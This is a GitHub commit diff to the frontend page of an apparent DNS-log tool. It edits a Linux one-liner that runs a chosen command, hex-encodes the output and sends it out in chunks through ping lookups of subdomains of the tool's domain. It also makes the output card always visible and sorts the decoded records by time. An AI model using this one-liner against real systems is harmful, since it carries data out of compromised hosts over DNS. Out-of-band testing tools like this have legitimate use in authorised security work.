Skip to content

Commit ce49837

Browse files
authored
Merge pull request #12 from iceyhexman/patch-4
Update index.html
2 parents 49e057a + b1ecb70 commit ce49837

File tree

1 file changed

+4
-6
lines changed

1 file changed

+4
-6
lines changed

frontend/index.html

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -69,14 +69,14 @@ <h4>Results</h4>
6969
</div>
7070
<!-- Shell command response card -->
7171

72-
<div class="container-fluid p-t-15" v-if="iscmdresponse">
72+
<div class="container-fluid p-t-15">
7373
<div class="card card-hover-shadow">
7474
<header class="card-header">
7575
<div class="card-title">dns 命令执行回显</div>
7676
</header>
7777
<div class="card-body">
7878
<div class="callout callout-info">Linux:
79-
<code>CMD="ifconfig";RExSP="$(eval "$CMD"|hexdump -v -e '/1 "%02X"')";R=$(tr -dc 'a-z0-9' &lt;/dev/urandom | head -c 4 | sed 's/^[\n\r]*//g');i=0;for s in $(echo $RExSP|fold -w 63);do i=$((i+1));ping -c 1 "$s.$i.$R.cmd.{{domain}}"&gt;/dev/null;done
79+
<code>CMD="这里填你的命令";RExSP="$(eval "$CMD"|hexdump -v -e '/1 "%02X"')";R=$(tr -dc 'a-z0-9' &lt;/dev/urandom | head -c 4 | sed 's/^[\n\r]*//g');i=0;for s in $(echo $RExSP|fold -w 63);do i=$((i+1));ping -c 1 "$s.$i.$R.cmd.{{domain}}"&gt;/dev/null;done
8080
</code>
8181
</div>
8282
<br>
@@ -142,7 +142,6 @@ <h4>Results</h4>
142142
data() {
143143
return {
144144
isdomainexpire: false,
145-
iscmdresponse: false,
146145
domain: "loading",
147146
key: "loading...",
148147
records: [],
@@ -171,8 +170,6 @@ <h4>Results</h4>
171170
//举个例子: 1231231223123123.1.h1sw.cmd.de21.log.d48e48337471993e.com
172171
domainKeyArray = this.records[i].subdomain.split('.')
173172
if (domainKeyArray[3]="cmd" && domainKeyArray.length==9) {
174-
this.iscmdresponse = true
175-
176173
randkey=domainKeyArray[2]; //example => h1sw
177174
cmd_index=parseInt(domainKeyArray[1]); //example => 1
178175

@@ -185,6 +182,7 @@ <h4>Results</h4>
185182
for (i in randomKeys) {
186183
_cmdrecords.push({time:randomKeys[i][0],content:this.hex2string(randomKeys[i].slice(1).join(""))})
187184
}
185+
_cmdrecords=_cmdrecords.sort(function(a,b){return new Date(a.time)-new Date(b.time)})
188186

189187
this.cmdrecords = _cmdrecords
190188
},
@@ -229,4 +227,4 @@ <h4>Results</h4>
229227
</script>
230228
</body>
231229

232-
</html>
230+
</html>

0 commit comments

Comments
 (0)